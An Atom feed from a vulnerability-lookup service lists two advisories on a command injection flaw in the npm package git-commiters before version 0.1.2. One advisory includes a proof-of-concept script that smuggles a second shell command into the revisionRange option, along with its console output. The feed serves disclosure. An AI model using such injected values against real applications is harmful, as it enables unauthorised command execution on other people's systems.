<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T16:40:51.855120+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2025-59831</id>
    <title>CVE-2025-59831 — `git-comiters` Command Injection vulnerability</title>
    <updated>2026-10-04T16:40:51.985936+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> snowyu git-commiters.js</p>
<p>git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2025-59831"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-g38c-wxjf-xrh6</id>
    <title>GHSA-g38c-wxjf-xrh6 — `git-comiters` Command Injection vulnerability</title>
    <updated>2026-10-04T16:40:51.986064+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: git-commiters</p>
<p>## Background on the vulnerability</p>
<p>This vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`
which allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.</p>
<p>However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.</p>
<p>## Exploit</p>
<p>1. Install `git-commiters@0.1.1` or earlier
2. Initiaizlie a new Git directory with commits in it
3. Create the following script in that directory:</p>
<p>```js
var gitCommiters = require("git-commiters");</p>
<p>var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});
```</p>
<p>3. Observe new file created on disk at `/tmp/pwn`</p>
<p>The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.</p>
<p>```sh
@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: 'github@qslw.com',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: 'snowyu.lee@gmail.com',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]</p>
<p>@lirantal ➜ /workspaces/git-commi…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-g38c-wxjf-xrh6"/>
  </entry>
</feed>
